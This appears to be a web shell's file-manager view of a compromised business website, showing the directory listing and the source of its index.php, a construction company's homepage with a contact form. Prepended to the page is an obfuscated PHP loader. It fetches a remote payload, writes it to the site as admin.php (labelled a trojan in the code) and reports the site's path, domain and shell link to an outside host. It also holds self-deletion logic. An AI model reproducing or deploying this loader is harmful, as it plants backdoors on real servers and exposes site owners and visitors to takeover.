FM / aleamaralawal.com

/home/techb158/aleamaralawal.com

Name	Size	Mode	Actions
.well-known/	-	0755	rm
1ptwcva/	-	0755	rm
1qugnpx/	-	0755	rm
1wbrjvp/	-	0755	rm
1wgqszb/	-	0755	rm
a1dfvxu/	-	0755	rm
a1xbsho/	-	0755	rm
ayiefdl/	-	0755	rm
bwaq1nx/	-	0755	rm
cgi-bin/	-	0755	rm
ckp1qhm/	-	0755	rm
cnvwfyt/	-	0755	rm
cvabfim/	-	0755	rm
dbfutql/	-	0755	rm
degnaio/	-	0755	rm
dev/	-	0755	rm
djzcwtv/	-	0755	rm
e1nmpzt/	-	0755	rm
eivwzdb/	-	0755	rm
ejcpdnw/	-	0755	rm
ejxqbus/	-	0755	rm
ertgfku/	-	0755	rm
f1evqga/	-	0755	rm
fqjklxh/	-	0755	rm
ghpjyom/	-	0755	rm
gsxdwjh/	-	0755	rm
hmqryip/	-	0755	rm
hxfucbo/	-	0755	rm
igldzns/	-	0755	rm
ivxqoap/	-	0755	rm
jftgeyl/	-	0755	rm
jsxkbea/	-	0755	rm
jxlvsid/	-	0755	rm
kcltrvd/	-	0755	rm
khqcys1/	-	0755	rm
kucifwz/	-	0755	rm
ky1ctmj/	-	0755	rm
kzmjgw1/	-	0755	rm
larunxv/	-	0755	rm
mlriuah/	-	0755	rm
mwvibck/	-	0755	rm
na1dhiu/	-	0755	rm
ncgqtmj/	-	0755	rm
ncsrjwt/	-	0755	rm
ntmdgio/	-	0755	rm
ntrycmo/	-	0755	rm
o1abxhc/	-	0755	rm
ot1pjcg/	-	0755	rm
pcqunfa/	-	0755	rm
psamvhy/	-	0755	rm
q1coeik/	-	0755	rm
qitrebf/	-	0755	rm
qyuelsg/	-	0755	rm
qywchal/	-	0755	rm
rfnkawe/	-	0755	rm
rmbpgjz/	-	0755	rm
rsjywld/	-	0755	rm
sehkywf/	-	0755	rm
sleqbzg/	-	0755	rm
sqwobrh/	-	0755	rm
svzwjia/	-	0755	rm
tboalfw/	-	0755	rm
tcxqhpy/	-	0755	rm
tlfqxnz/	-	0755	rm
trxqnaw/	-	0755	rm
uhnljrv/	-	0755	rm
ujagrx1/	-	0755	rm
ukwoxas/	-	0755	rm
uqpebri/	-	0755	rm
uqynscp/	-	0755	rm
well-known/	-	0755	rm
wvdunlk/	-	0755	rm
wvtau1b/	-	0755	rm
xqfb1ek/	-	0755	rm
xutzhrp/	-	0755	rm
y1ubcwa/	-	0755	rm
ydqbxlc/	-	0755	rm
yiqlusc/	-	0755	rm
yqvncbz/	-	0755	rm
yrmilaw/	-	0755	rm
ytjlonm/	-	0755	rm
yzvtabp/	-	0755	rm
z1sgvbd/	-	0755	rm
zyvblha/	-	0755	rm
.htaccess	480	0644	edit dl rm
admin.php	33110	0644	edit dl rm
bjhjorgh.php	7317	0644	edit dl rm
index.php	49707	0644	edit dl rm
php.ini	581	0644	edit dl rm
qbfwvdqz.php	19513	0644	edit dl rm
wp-cron-zshg.php	1659	0644	edit dl rm

Edit: /home/techb158/aleamaralawal.com/index.php (49707B)

<?php
$O00OO_0_O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O000OOO___=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{16}.$O00OO_0_O_{18}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O_0O_0O0O_=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{27}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O0_O0_O0O_=$O00OO_0_O_{32}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{6}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{38}.$O00OO_0_O_{18}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{10}.$O00OO_0_O_{12}.$O00OO_0_O_{35}.$O00OO_0_O_{0};$OOO0_O0_0_=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$OO0O___0O0=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{26}.$O00OO_0_O_{30}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$O_O_0_O00O=$O00OO_0_O_{16}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{27}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_00O0OO__=$O00OO_0_O_{33}.$O00OO_0_O_{10}.$O00OO_0_O_{24}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_0_O0_O0O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{35}.$O00OO_0_O_{16}.$O00OO_0_O_{10};$O_O_O000_O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{23}.$O00OO_0_O_{35}.$O00OO_0_O_{33}.$O00OO_0_O_{30};$O___00OO0O=$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{24}.$O00OO_0_O_{12}.$O00OO_0_O_{6}.$O00OO_0_O_{23}.$O00OO_0_O_{12}.$O00OO_0_O_{2}.$O00OO_0_O_{30};$O__0O0_0OO=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{12}.$O00OO_0_O_{0}.$O00OO_0_O_{12}.$O00OO_0_O_{10};$O_OO_O000_=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{17}.$O00OO_0_O_{30}.$O00OO_0_O_{32};$OO0O0__O0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O__O00_OO0=\'\'','if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}return $O__O00_OO0;');$OOO_O00_0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$url','$OO0O0_0_O_=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($url);if(!$OO0O0_0_O_){$O0O0_O_0O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x5f\x30\x4f\x4f"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_URL,$url);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_RETURNTRANSFER,1);$OO0O0_0_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x4f\x30\x30\x30\x5f"]($O0O0_O_0O_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x30\x30\x30\x5f\x4f"]($O0O0_O_0O_);}return $OO0O0_0_O_;');$O_OO__0O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O_0O_O_0O0=\'\'','$O_0_O_OO00=array();$O_0_O_OO00["\x70\x61\x74\x68"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'//\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x50\x48\x50\x5f\x53\x45\x4c\x46"]),\'\',${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'\\\\\\\\\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x30\x5f\x5f\x4f\x30\x5f"]();$O_0_O_OO00["\x73\x68\x65\x6c\x6c\x5f\x6c\x69\x6e\x6b"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly90ZWNoYmFsYS5jb20vYWRtaW4ucGhwPzUyMA==\');if(isset(${"\x5f\x47\x45\x54"}["\x64\x65\x6c"])&&${"\x5f\x47\x45\x54"}["\x64\x65\x6c"]=="my_code"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);if($OO0O0O0___>0){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWRtaW4ucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cHM6Ly81MWxhLnZvNC54eXovZi50eHQ="));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly81MWxhLmxvNjEueHl6Lz9kPSVz\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);?><?php
// Email Configuration
define('ADMIN_EMAIL', 'info@aleamaralawal.com');
define('SITE_NAME', 'Al Emar Al Awal Investment');

// Form Processing
$form_submitted = false;
$form_success = false;
$form_error = '';
$form_message = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Get form data
    $name = isset($_POST['name']) ? trim($_POST['name']) : '';
    $email = isset($_POST['email']) ? trim($_POST['email']) : '';
    $phone = isset($_POST['phone']) ? trim($_POST['phone']) : '';
    $subject = isset($_POST['subject']) ? trim($_POST['subject']) : '';
    $message = isset($_POST['message']) ? trim($_POST['message']) : '';
    
    $form_submitted = true;
    
    // Validation
    $errors = [];
    
    if (empty($name)) {
        $errors[] = 'Name is required';
    } elseif (strlen($name) < 2) {
        $errors[] = 'Name must be at least 2 characters';
    }
    
    if (empty($email)) {
        $errors[] = 'Email is required';
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors[] = 'Invalid email format';
    }
    
    if (empty($subject)) {
        $errors[] = 'Subject is required';
    }
    
    if (empty($message)) {
        $errors[] = 'Message is required';
    } elseif (strlen($message) < 2) {
        $errors[] = 'Message must be at least 2 characters';
    }
    
    // Validate phone format if provided
    if (!empty($phone) && !preg_match('/^[0-9\s\-\+]+$/', $phone)) {
        $errors[] = 'Invalid phone number format';
    }
    
    // Check for spam
    if (preg_match('/(<script|<iframe|href=|javascript:|onclick=)/i', $message . $name . $subject)) {
        $errors[] = 'Invalid content detected';
    }
    
    // If no validation errors, send email
    if (empty($errors)) {
        // Prepare email
        $to = ADMIN_EMAIL;
        $email_subject = "New Contact Form Submission: " . $subject;
        
        // Email headers
        $headers = "MIME-Version: 1.0" . "\r\n";
        $headers .= "Content-type: text/html; charset=UTF-8" . "\r\n";
        $headers .= "From: " . $email . "\r\n";
        $headers .= "Reply-To: " . $email . "\r\n";
        
        // Email body
        $email_body = "
        <html>
        <head>
            <style>
                body { font-family: Arial, sans-serif; }
                .container { max-width: 600px; margin: 0 auto; padding: 20px; }
                .header { background: #1e3a8a; color: white; padding: 20px; border-radius: 8px 8px 0 0; }
                .content { background: #f9fafb; padding: 20px; border: 1px solid #e5e7eb; }
                .field { margin: 15px 0; }
                .label { font-weight: bold; color: #1e3a8a; }
                .value { color: #4b5563; margin-top: 5px; }
                .footer { background: #1e3a8a; color: white; padding: 15px; border-radius: 0 0 8px 8px; text-align: center; font-size: 12px; }
            </style>
        </head>
        <body>
            <div class='container'>
                <div class='header'>
                    <h2>New Contact Form Submission</h2>
                </div>
                <div class='content'>
                    <div class='field'>
                        <div class='label'>Name:</div>
                        <div class='value'>" . htmlspecialchars($name) . "</div>
                    </div>
                    <div class='field'>
                        <div class='label'>Email:</div>
                        <div class='value'><a href='mailto:" . htmlspecialchars($email) . "'>" . htmlspecialchars($email) . "</a></div>
                    </div>";
        
        if (!empty($phone)) {
            $email_body .= "
                    <div class='field'>
                        <div class='label'>Phone:</div>
                        <div class='value'>" . htmlspecialchars($phone) . "</div>
                    </div>";
        }
        
        $email_body .= "
                    <div class='field'>
                        <div class='label'>Subject:</div>
                        <div class='value'>" . htmlspecialchars($subject) . "</div>
                    </div>
                    <div class='field'>
                        <div class='label'>Message:</div>
                        <div class='value'>" . nl2br(htmlspecialchars($message)) . "</div>
                    </div>
                </div>
                <div class='footer'>
                    <p>Submitted via " . SITE_NAME . " Contact Form</p>
                    <p>Timestamp: " . date('Y-m-d H:i:s') . "</p>
                </div>
            </div>
        </body>
        </html>";
        
        // Send email
        if (@mail($to, $email_subject, $email_body, $headers)) {
            $form_success = true;
            $form_message = 'Message sent successfully! We will contact you soon.';
            
            // Clear form data
            $name = '';
            $email = '';
            $phone = '';
            $subject = '';
            $message = '';
        } else {
            $form_error = 'Failed to send message. Please try again later.';
        }
    } else {
        $form_error = implode(', ', $errors);
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Al Emar Al Awal Investment - General Contracting & Building Materials</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

:root {
            --primary-color: #1e3a8a;
            --secondary-color: #3b82f6;
            --accent-color: #f59e0b;
            --text-dark: #1f2937;
            --text-light: #6b7280;
            --bg-light: #f9fafb;
            --bg-white: #ffffff;
            --border-color: #e5e7eb;
            --success-color: #10b981;
            --error-color: #ef4444;
        }

body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            line-height: 1.6;
            color: var(--text-dark);
            background-color: var(--bg-white);
        }

html[dir="rtl"] body {
            direction: rtl;
            text-align: right;
        }

html[dir="ltr"] body {
            direction: ltr;
            text-align: left;
        }

/* Header & Navigation */
        header {
            background-color: var(--primary-color);
            color: white;
            padding: 1rem 0;
            position: sticky;
            top: 0;
            z-index: 1000;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
        }

.header-container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 2rem;
            display: flex;
            justify-content: space-between;
            align-items: center;
            position: relative;
        }

.logo {
            font-size: 1.8rem;
            font-weight: 700;
            display: flex;
            align-items: center;
            gap: 0.5rem;
        }

.logo .en,
        .logo .ar {
            line-height: 1.2;
        }

.logo-icon {
            width: 40px;
            height: 40px;
            background: var(--accent-color);
            border-radius: 8px;
            display: flex;
            align-items: center;
            justify-content: center;
            font-weight: bold;
            font-size: 1.5rem;
        }

nav {
            display: flex;
            gap: 2rem;
            align-items: center;
        }

.menu-toggle {
            display: none;
            background: rgba(255,255,255,0.15);
            border: 1px solid rgba(255,255,255,0.35);
            color: white;
            padding: 0.6rem 0.85rem;
            border-radius: 8px;
            cursor: pointer;
            font-size: 1.2rem;
            line-height: 1;
        }

.menu-toggle:hover {
            background: rgba(255,255,255,0.25);
        }

nav a {
            color: white;
            text-decoration: none;
            transition: color 0.3s;
            font-weight: 500;
        }

nav a:hover {
            color: var(--accent-color);
        }

.language-toggle {
            background-color: rgba(255,255,255,0.2);
            border: 1px solid white;
            color: white;
            padding: 0.5rem 1rem;
            border-radius: 4px;
            cursor: pointer;
            transition: all 0.3s;
            font-weight: 600;
        }

.language-toggle:hover {
            background-color: white;
            color: var(--primary-color);
        }

/* Alert Messages */
        .alert {
            padding: 1rem;
            margin: 1rem 0;
            border-radius: 8px;
            display: flex;
            align-items: center;
            gap: 1rem;
        }

.alert-success {
            background-color: #d1fae5;
            color: #065f46;
            border: 1px solid #a7f3d0;
        }

.alert-error {
            background-color: #fee2e2;
            color: #7f1d1d;
            border: 1px solid #fecaca;
        }

.alert-icon {
            font-size: 1.5rem;
            flex-shrink: 0;
        }

/* Hero Section */
        .hero {
            background: linear-gradient(135deg, var(--primary-color) 0%, var(--secondary-color) 100%);
            color: white;
            padding: 6rem 2rem;
            text-align: center;
        }

.hero-content {
            max-width: 800px;
            margin: 0 auto;
        }

.hero h1 {
            font-size: 3rem;
            margin-bottom: 1.5rem;
            font-weight: 800;
        }

.hero p {
            font-size: 1.3rem;
            margin-bottom: 2rem;
            opacity: 0.95;
        }

.cta-button {
            display: inline-block;
            background-color: var(--accent-color);
            color: white;
            padding: 1rem 2.5rem;
            border-radius: 8px;
            text-decoration: none;
            font-weight: 600;
            transition: all 0.3s;
            border: none;
            cursor: pointer;
            font-size: 1rem;
        }

.cta-button:hover {
            background-color: #d97706;
            transform: translateY(-3px);
            box-shadow: 0 10px 20px rgba(0,0,0,0.2);
        }

/* Container */
        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 2rem;
        }

/* Section Styling */
        section {
            padding: 4rem 2rem;
        }

section h2 {
            font-size: 2.5rem;
            margin-bottom: 1rem;
            color: var(--primary-color);
        }

.section-subtitle {
            font-size: 1.1rem;
            color: var(--text-light);
            margin-bottom: 3rem;
            max-width: 600px;
        }

/* About Section */
        .about {
            background-color: var(--bg-light);
        }

.about-content {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 3rem;
            align-items: center;
            max-width: 1200px;
            margin: 0 auto;
        }

.about-image {
            background: linear-gradient(135deg, var(--primary-color) 0%, var(--secondary-color) 100%);
            border-radius: 12px;
            padding: 3rem;
            display: flex;
            align-items: center;
            justify-content: center;
            min-height: 400px;
            color: white;
            font-size: 4rem;
            position: relative;
            overflow: hidden;
        }

.about-image::before {
            content: '';
            position: absolute;
            top: -50%;
            right: -50%;
            width: 200%;
            height: 200%;
            background: radial-gradient(circle, rgba(255,255,255,0.1) 1px, transparent 1px);
            background-size: 50px 50px;
            animation: slide 20s linear infinite;
        }

@keyframes slide {
            0% { transform: translate(0, 0); }
            100% { transform: translate(50px, 50px); }
        }

.about-image-content {
            position: relative;
            z-index: 1;
            text-align: center;
        }

.about-text h3 {
            color: var(--primary-color);
            margin-bottom: 1.5rem;
            font-size: 1.5rem;
        }

.about-text p {
            color: var(--text-light);
            margin-bottom: 1.5rem;
            line-height: 1.8;
        }

/* Services Section */
        .services {
            background-color: var(--bg-white);
        }

.services-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(280px, 1fr));
            gap: 2rem;
            margin-top: 3rem;
        }

.service-card {
            background: white;
            border: 1px solid var(--border-color);
            border-radius: 12px;
            padding: 2rem;
            text-align: center;
            transition: all 0.3s;
            box-shadow: 0 2px 8px rgba(0,0,0,0.05);
        }

.service-card:hover {
            box-shadow: 0 12px 24px rgba(0,0,0,0.1);
            transform: translateY(-5px);
            border-color: var(--secondary-color);
        }

.service-icon {
            width: 70px;
            height: 70px;
            background: linear-gradient(135deg, var(--secondary-color) 0%, var(--accent-color) 100%);
            border-radius: 12px;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 1.5rem;
            font-size: 2rem;
            color: white;
        }

.service-card h3 {
            color: var(--primary-color);
            margin-bottom: 1rem;
            font-size: 1.2rem;
        }

.service-card p {
            color: var(--text-light);
            font-size: 0.95rem;
            line-height: 1.6;
        }

/* Vision & Mission Section */
        .vision-mission {
            background: linear-gradient(135deg, #f0f9ff 0%, #f3e8ff 100%);
        }

.vm-container {
            max-width: 1200px;
            margin: 0 auto;
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 3rem;
        }

.vm-card {
            background: white;
            padding: 2.5rem;
            border-radius: 12px;
            box-shadow: 0 4px 16px rgba(0,0,0,0.08);
        }

.vm-card h3 {
            color: var(--primary-color);
            font-size: 1.8rem;
            margin-bottom: 1.5rem;
            display: flex;
            align-items: center;
            gap: 0.8rem;
        }

.vm-icon {
            width: 50px;
            height: 50px;
            background: linear-gradient(135deg, var(--secondary-color) 0%, var(--accent-color) 100%);
            border-radius: 10px;
            display: flex;
            align-items: center;
            justify-content: center;
            color: white;
            font-size: 1.5rem;
        }

.vm-card p {
            color: var(--text-light);
            line-height: 1.8;
            font-size: 1rem;
        }

/* Contact Section */
        .contact {
            background-color: var(--bg-light);
        }

.contact-content {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 3rem;
            max-width: 1200px;
            margin: 0 auto;
            margin-top: 2rem;
        }

.contact-info {
            display: flex;
            flex-direction: column;
            gap: 2rem;
        }

.contact-item {
            display: flex;
            gap: 1.5rem;
        }

.contact-icon {
            width: 60px;
            height: 60px;
            background: linear-gradient(135deg, var(--secondary-color) 0%, var(--accent-color) 100%);
            border-radius: 10px;
            display: flex;
            align-items: center;
            justify-content: center;
            color: white;
            font-size: 1.5rem;
            flex-shrink: 0;
        }

.contact-item h4 {
            color: var(--primary-color);
            margin-bottom: 0.5rem;
            font-size: 1.1rem;
        }

.contact-item p {
            color: var(--text-light);
        }

.contact-item a {
            color: var(--secondary-color);
            text-decoration: none;
            font-weight: 600;
        }

.contact-item a:hover {
            color: var(--primary-color);
        }

/* Contact Form */
        .contact-form {
            background: white;
            padding: 2rem;
            border-radius: 12px;
            box-shadow: 0 4px 16px rgba(0,0,0,0.08);
        }

.form-group {
            margin-bottom: 1.5rem;
        }

.contact-form label {
            display: block;
            margin-bottom: 0.5rem;
            color: var(--primary-color);
            font-weight: 600;
        }

.contact-form input,
        .contact-form textarea {
            width: 100%;
            padding: 0.8rem;
            border: 1px solid var(--border-color);
            border-radius: 8px;
            font-family: inherit;
            transition: border-color 0.3s;
        }

.contact-form input:focus,
        .contact-form textarea:focus {
            outline: none;
            border-color: var(--secondary-color);
            box-shadow: 0 0 0 3px rgba(59, 130, 246, 0.1);
        }

.contact-form textarea {
            resize: vertical;
            min-height: 120px;
        }

.submit-button {
            width: 100%;
            background: linear-gradient(135deg, var(--primary-color) 0%, var(--secondary-color) 100%);
            color: white;
            padding: 1rem;
            border: none;
            border-radius: 8px;
            font-weight: 600;
            font-size: 1rem;
            cursor: pointer;
            transition: all 0.3s;
        }

.submit-button:hover {
            transform: translateY(-2px);
            box-shadow: 0 10px 20px rgba(30, 58, 138, 0.3);
        }

.submit-button:disabled {
            opacity: 0.6;
            cursor: not-allowed;
        }

/* Footer */
        footer {
            background-color: var(--primary-color);
            color: white;
            text-align: center;
            padding: 2rem;
            margin-top: 4rem;
        }

footer p {
            opacity: 0.9;
        }

footer a {
            color: var(--accent-color);
            text-decoration: none;
        }

footer a:hover {
            text-decoration: underline;
        }

/* Responsive */
        @media (max-width: 768px) {
            .header-container {
                flex-direction: column;
                align-items: center;
                justify-content: center;
                gap: 0.75rem;
                padding-top: 1.25rem;
                padding-bottom: 0.5rem;
            }

.logo {
                flex-direction: column;
                justify-content: center;
                text-align: center;
                gap: 0.75rem;
                width: 100%;
                padding: 0 3.5rem;
            }

.logo .en,
            .logo .ar {
                display: block;
                font-size: 1.15rem;
            }

.menu-toggle {
                display: inline-flex;
                align-items: center;
                justify-content: center;
                position: absolute;
                top: 1rem;
                right: 2rem;
                margin: 0;
            }

html[dir="rtl"] .menu-toggle {
                right: auto;
                left: 2rem;
            }

nav {
                display: none;
                width: 100%;
                flex-direction: column;
                gap: 0.5rem;
                text-align: center;
                background-color: rgba(0, 0, 0, 0.12);
                padding: 1rem;
                border-radius: 12px;
            }

nav.menu-open {
                display: flex;
            }

nav a,
            .language-toggle {
                width: 100%;
            }

.hero h1 {
                font-size: 2rem;
            }

.hero p {
                font-size: 1.1rem;
            }

.about-content,
            .vm-container,
            .contact-content {
                grid-template-columns: 1fr;
            }

.about-image {
                min-height: 300px;
            }

section h2 {
                font-size: 2rem;
            }

.services-grid {
                grid-template-columns: 1fr;
            }
        }

/* Hidden classes for language switching */
        .hidden {
            display: none !important;
        }

/* Utility classes */
        .text-center {
            text-align: center;
        }

.section-header {
            text-align: center;
            margin-bottom: 3rem;
        }
    </style>
</head>
<body>
    
    <header>
        <div class="header-container">
            <div class="logo">
                <div class="logo-icon">🏗️</div>
